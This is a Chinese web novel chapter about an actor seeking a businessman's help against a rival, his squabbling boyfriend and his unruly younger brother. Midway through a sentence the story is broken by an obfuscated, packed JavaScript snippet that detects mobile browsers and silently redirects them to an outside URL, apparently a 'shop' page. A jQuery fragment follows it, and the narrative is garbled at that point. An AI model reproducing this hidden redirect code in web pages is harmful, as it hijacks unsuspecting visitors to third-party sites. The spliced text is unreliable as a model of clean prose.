周韫玉握着手机,指尖因为用力微微泛白。电话那头的谭煦似乎有些意外,短暂的沉默后,听筒里传来他听不出太多情绪的声音。
“周先生?”
“谭总,冒昧打扰。”周韫玉清了清嗓子,努力让声音听起来平稳,“关于上次您提过的事情,我想……我们或许可以见面详谈?”
他站在窗边,目光放空地望着窗外雨后初霁的蔚蓝天空。
利用谭煦的力量去对抗于修,这无异于走钢丝,一步踏错可能满盘皆输。但脑海里闪过经纪人袁西疲惫焦虑的声音,还有于修那条充满威胁的短信……他深吸一口气,压下了心底的犹豫。他不能永远被动挨打。
“好。”谭煦的回答干脆得出乎意料,“周先生定个地方吧。”
一小时后,一家隐秘的咖啡厅。
包厢门被推开,谭煦走了进来。他今天没穿标志性的西装,一身质地精良的深灰色休闲服,让他少了几分商人的锐利,多了些随和。但那双藏在金丝眼镜后的眼睛,看向周韫玉时,依旧带着审视和考量。
“谭总。”周韫玉站起身。
“周先生久等。”谭煦颔首,在对面落座,侍者安静地送上咖啡后退出包厢。
谭煦用小勺轻轻搅动着杯中深褐色的液体,没有过多寒暄,直接切入主题:“周先生主动约见,想必是有了明确的意向?”
周韫玉指尖无意识地划过温热的杯壁,沉默了几秒,抬头迎上对方的目光,决定开门见山:“谭总,实不相瞒,今天我与其说是来答复加盟事宜,不如说……是有一事相求。”
谭煦搅拌咖啡的手微微一顿,抬眼看他,似乎对这个开场白颇感意外。
他放下银勺,身体向后靠进沙发椅背,姿态放松却透着无形的压力:“愿闻其详。”
“谭总的公司近年来势头强劲,业界有目共睹。”周韫玉斟酌着用词,“但我注意到,在拓展新媒体和海外发行这几个关键板块时,似乎总是遇到不小的阻力,尤其是……来自修远娱乐的针对性竞争。”
谭煦笑了笑,表情看不出深浅:“市场就这么大,良性竞争在所难免。谭某能稳步发展已属不易,不敢奢求太多。”
“如果,”周韫玉身体微微前倾,声音压低了些,带着一种孤注一掷的认真,“我能提供一些东西,帮您扫清修远这块最大的绊脚石呢?”
谭煦镜片后的目光锐利起来:“于修?”他轻笑一声,带着点玩味,“周先生是想借谭某之手,报一己私怨?但这对我而言,似乎并非必选项,反而要承担不小的商业风险。”
“谭总!”周韫玉语气加重,透出急切,“我承认有私人原因,但这对您同样是机会!我不敢夸口能一击致命,但我掌握的信息,足以让修远股价震荡,声誉受损。届时市场格局必然生变,以贵公司的实力和您的手段,趁势而上,扩大市场份额,难道不是顺理成章吗?这其中的利益,远大于风险。”
谭煦不再说话,手指在光滑的桌面上有一下没一下地轻敲,包厢里只剩下咖啡浓郁的香气和那规律的轻响。
过了足有一分钟,他才缓缓开口,目光如炬:“听起来很诱人。不过,商场不是儿戏,周先生打算用什么来证明,你不是在空手套白狼,而是真有撬动于修根基的筹码?”
周韫玉的心沉了沉,最关键的时刻到了。他攥了攥放在膝上的手,掌心微微出汗。
与此同时,周韫玉租住的公寓里,则是另一番光景。
霍既明大咧咧地霸占着客厅最舒服的那张单人沙发,剧本摊在腿上,眼神却时不时飘向盘腿坐在地毯上戴着硕大耳机打游戏的周晟。
他对这个突然冒出来的混世魔王实在没啥好感,但周韫玉明确表示过这是家事让他少插手,他也只能尽量把这小子当空气。可这“空气”实在有点吵,游戏音效和那小子偶尔不耐烦的咂嘴声总往耳朵里钻。
指纹锁的声音响起。
门开了,周韫玉带着一身外面的微凉空气走进来,脸上是显而易见的疲惫。
“回来了?”霍既明立刻丢开剧本起身迎上去,很自然地接过他脱下的外套挂好,“怎么样?工作还顺利吗?”
周韫玉摇了摇头,还没来得及说话,旁边就传来一个硬邦邦的声音。
“周玉,我饿了。”周晟不知什么时候按了游戏暂停,一只耳机挂在脖子上,抬着下巴,语气理直气壮得像在使唤佣人,“冰箱里那速冻饺子难吃死了,还有别的没?”
周韫玉闭了闭眼,额角青筋微跳,没好气地甩过去一个白眼:“饿了自己不会点外卖?我是你保姆?”
“没钱。”周晟回得干脆,还晃了晃手机,屏幕上是游戏界面,“而且这局还没完。你随便弄点能吃的就行。”
周韫玉简直被他这副理所当然的样子气笑,但看着这小子盘腿坐那儿、一脸“我就这样”的滚刀肉模样,深知跟他较真只会自己内伤。他认命似的叹了口气,一边挽袖子一边往厨房走。
霍既明看着周韫玉认命走向厨房的背影,又瞅瞅地上那个得意洋洋继续戴上耳机打游戏的周晟,一股无名火窜起来。
他走到周晟旁边,用脚不轻不重地踢了踢他小腿边的地毯:“喂,你小子,多大了自己不会动手?你哥出去谈事刚回来,水都没喝一口就得伺候你?”
周晟头都不抬,手指在屏幕上飞快操作,语气嘲讽拉满:“关你屁事。周玉都没说啥,你跳出来充什么大尾巴狼?管太宽了吧。”
霍既明被噎得够呛,压低声音反驳:“我还是他男朋友!你说我能不能管?”
“哦——”周晟拖长了调子,终于舍得抬眼瞥他一下,眼神里的挑衅毫不掩饰,“男朋友啊?更不值钱了。谁知道能当几天。”
“周晟你找揍是吧!”霍既明火气上头,拳头硬了。
周韫玉被客厅里那俩活宝吵得太阳穴直跳,他把泡面煮好,揉了揉眉心,干脆利落地转身走进卧室,顺手把门轻轻一带,不算重,但足以表达“别来烦我”的意思。
世界总算清静了。
他靠在门板上缓了口气,这才拿出手机。经纪人袁西的信息跳出来,提醒他配合新剧宣传发条微博。他深吸一口气,调整好表情,点开了那个熟悉的橙色图标。
登录,编辑,选图……流程熟练得近乎麻木。就在他准备点击发送时,首页推送的第一条微博猛地撞进眼帘——是那个顶替了他电影角色的男演员。对方晒着一张精修剧照,笑容灿烂,配文是感谢导演和团队的官腔。
周韫玉的手指顿住了,视线落在那个熟悉又刺眼的头像上,好几秒没能移开。
心里某个角落像是被细针轻轻扎了一下,不剧烈,但绵密的钝痛感挥之不去。他闭了闭眼,指尖快速向上一滑,将那条微博划了过去,仿佛这样就能划掉那段糟心的记忆。
他重新聚焦,将自己的宣传微博发了出去。几乎是在发送成功的瞬间,评论区立刻被粉丝的欢呼和彩虹屁占领。看着那些温暖的文字,周韫玉紧绷的嘴角终于软化,勾起一丝真实的弧度。
但这片刻的宁静很快被打破。卧室门被悄无声息地推开一条缝,霍既明像只做错事的大狗,耷拉着脑袋挤了进来,蹭到他身边,然后把毛茸茸的脑袋搁在他肩膀上,声音拖得老长,带着浓浓的委屈和撒娇意味:
“玉玉……你想想办法,让你弟弟走吧?别让他住这儿了,好不好?”说完,还故意歪着头,用那双湿漉漉的眼睛偷瞄周韫玉的反应。
周韫玉刚放松的心情又提了起来,他没好气地把肩膀上那颗沉甸甸的脑袋推开,顺手还弹了他一个脑瓜崩:
“你都知道他是我弟,我还能把他扔哪儿去?真让他去睡桥洞?再说就他那个混世魔王的德行,扔谁家不是个祸害?谁受得了?”
霍既明捂着额头,低声嘟囔,声音含混不清但足够让周韫玉听见:“那我就能受得了嘛……他整天‘周玉’、‘周玉’地叫你,我看着就来气……”
周韫玉白了他一眼,懒得接这话茬。
霍既明见撒娇无效,整个人像没了骨头一样,耍赖皮地蜷缩起来,硬是挤进周韫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027084|185001||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
玉怀里挂着,活像只巨型树懒。但没过几秒,他猛地一个激灵,突然从周韫玉怀里弹了起来,眼睛唰地亮了,兴奋地一拍大腿:
“我知道了!我知道了!!我知道把这小祖宗塞给谁最合适了!”
说完就跟一阵风似的,抓起手机就要打电话,脸上是那种即将恶作剧得逞的坏笑。
周韫玉被他这咋咋呼呼的样子弄得一愣,探过头去想看他搞什么名堂:“你准备干嘛?”
霍既明却神秘兮兮地把手机屏幕一捂,坏笑着:“保密!山人自有妙计!”然后不等周韫玉再问,几步就蹿出了卧室,还贴心地把门带上了。
周韫玉看着他消失的背影,无奈地撇撇嘴。对于霍既明这种时不时抽风的行为,他已经快习惯了。
等房间里重新恢复安静,周韫玉脸上那点强装出来的轻松也彻底消散。他走到衣柜旁,从最底层摸出自己的笔记本电脑,打开,输入密码,点开一个加密文件夹。里面静静躺着一些文件、照片,甚至还有几段音频。
他沉默地看着这些“证据”,眼神复杂。最终,他还是动手将它们全部拷贝进了一个U盘。
做完这一切,他合上电脑,重重地靠进椅背里,长长地叹了口气。这些东西,他曾经天真地希望永远不会有重见天日的一天。可惜,树欲静而风不止。
他揉了揉发胀的额角,这时才后知后觉地发现——外面是不是安静得有点过分了?
刚才还在客厅里制造噪音的周晟呢?那个咋咋呼呼跑出去打电话的霍既明呢?怎么一点声音都没了?
周韫玉心下疑惑,起身推开卧室门。客厅里空荡荡的,哪还有那两个人的影子?就像是凭空蒸发了一样。
这俩人……搞什么鬼?
正当他摸不着头脑时,手机屏幕亮了,是霍既明发来的信息:
【报告领导!已成功将“混世魔王”周晟同志打包快递至我哥霍正卿府上进行“再教育”,邮费到付!本人稍后返回,请组织放心!】(附赠一个龇牙笑的表情包)
周韫玉盯着那条信息,嘴角抽搐了一下,简直不知道该气还是该笑。
霍既明这脑子……怎么想的?居然把周晟扔给霍正卿?只是,霍既明到底用了什么魔法,能让周晟那个刺头乖乖跟着他走?
而此时,驶向城西的车上。
周晟打了个响亮的喷嚏,揉揉鼻子,翘着二郎腿瘫在副驾驶上,姿态极其嚣张地盘问霍既明:“喂,你说的啊,只要我去那儿住几天,你就保证能拿到W俱乐部首发打野的亲笔签名照,还有绝版周边?骗人是小狗!”
霍既明手握方向盘,目不斜视,信誓旦旦:“当然!我上次录综艺跟他一个队,关系铁着呢!不信你现在翻我微信联系列表,备注就是‘W-野王’!”
周晟将信将疑地摸出手机,还真去翻了下,这才勉强放下心,美滋滋地抱着手机开始啪啪啪打字,不知道在跟哪个游戏好友吹牛,丝毫不见对被“邮寄”的担忧。
霍既明透过后视镜瞥了他一眼,内心暗爽。
车子一路开进一个安保森严的高档小区,霍既明显然对这里轻车熟路。他鬼鬼祟祟地带着周晟摸进一栋别墅,趁着楼上书房没动静,飞快地把周晟往宽敞却透着冷硬风格的真皮沙发里一“扔”,压低声音:“你就在这儿等着,房东……马上下来!记住,少说话,多听话,签名照大大的有!”
说完,不等周晟反应,霍既明脚底抹油,溜得比兔子还快。
周晟还没研究明白这冷冰冰的客厅,就听见楼上传来沉稳的脚步声。他一抬头,看见一个穿着一丝不苟的家居服、面容冷峻、气场强大的男人从旋转楼梯上走下来,眉头微蹙,正用审视的目光看着他。
霍正卿看着这个突然出现在自家客厅、坐没坐相还一脸“我是大爷”的陌生男孩,脚步顿住。
周晟歪着头,打量了他一下,想起霍既明的嘱咐,试探性地、用他那种特有的、能气死人的语气开口:
“喂,你就是房东?”
霍正卿:“……”